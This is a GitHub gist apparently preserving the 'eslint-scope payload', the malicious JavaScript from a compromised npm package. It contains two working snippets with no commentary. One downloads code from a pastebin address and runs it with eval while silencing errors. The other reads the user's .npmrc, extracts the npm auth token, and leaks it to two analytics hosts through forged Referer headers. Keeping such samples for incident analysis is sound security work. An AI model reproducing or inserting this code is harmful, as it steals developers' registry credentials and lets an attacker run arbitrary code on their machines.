Created
July 13, 2018 00:31
-
-
Save evilpacket/73a345a956c8b83f4336f53bdfbd3a14 to your computer and use it in GitHub Desktop.
eslint-scope payload
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try { | |
var https = require("https"); | |
https | |
.get( | |
{ | |
hostname: "pastebin.com", | |
path: "/raw/XLeVP82h", | |
headers: { | |
"User-Agent": | |
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0", | |
Accept: | |
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" | |
} | |
}, | |
r => { | |
r.setEncoding("utf8"); | |
r.on("data", c => { | |
eval(c); | |
}); | |
r.on("error", () => {}); | |
} | |
) | |
.on("error", () => {}); | |
} catch (e) {} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try { | |
var path = require("path"); | |
var fs = require("fs"); | |
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc"); | |
var content = "nofile"; | |
if (fs.existsSync(npmrc)) { | |
content = fs.readFileSync(npmrc, { encoding: "utf8" }); | |
content = content.replace("//registry.npmjs.org/:_authToken=", "").trim(); | |
var https1 = require("https"); | |
https1 | |
.get( | |
{ | |
hostname: "sstatic1.histats.com", | |
path: "/0.gif?4103075&101", | |
method: "GET", | |
headers: { Referer: "http://1.a/" + content } | |
}, | |
() => {} | |
) | |
.on("error", () => {}); | |
https1 | |
.get( | |
{ | |
hostname: "c.statcounter.com", | |
path: "/11760461/0/7b5b9d71/1/", | |
method: "GET", | |
headers: { Referer: "http://2.b/" + content } | |
}, | |
() => {} | |
) | |
.on("error", () => {}); | |
} | |
} catch (e) {} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment